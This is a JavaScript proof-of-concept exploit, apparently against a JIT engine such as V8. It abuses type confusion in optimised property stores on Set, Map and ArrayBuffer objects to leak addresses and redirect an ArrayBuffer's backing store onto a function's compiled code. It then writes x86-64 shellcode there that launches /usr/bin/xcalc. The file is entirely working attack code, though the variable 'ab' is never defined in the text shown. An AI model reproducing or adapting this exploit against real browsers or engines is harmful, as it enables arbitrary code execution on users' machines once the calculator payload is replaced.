var l;
var evil_f = new Function("var a = 1000000");
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
function Ctor() {
n = new Set();
}
function Ctor2() {
m = new Map();
}
function Ctor3() {
l = new ArrayBuffer();
}
function Check(obj){
n.xyz = 3.4766863919152113e-308
n.xyz1 = 0x0;
n.xyz2 = 0x7000;
n.xyz3 = obj;
}
function Check2(addr){
m.xyz = 3.4766863919152113e-308
m.xyz1 = 0x0
m.xyz2 = 0x7000
m.xyz3 = addr
}
function Check3(addr){
l.xyz = 3.4766863919152113e-308;
l.xyz1 = addr
}
for(var i=0; i<10000; ++i) {
Ctor();
Ctor2();
Ctor3();
}
for(var i=0; i<10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}
Ctor();
Ctor2();
Ctor3();
Check(ab);
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;
ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);
Check(String(null));
print(ab_len_ptr_float);
Check2(ab_len_ptr_float);
print(func_addr_float);
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
Check3(shellcode_addr_float);
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
evil_f();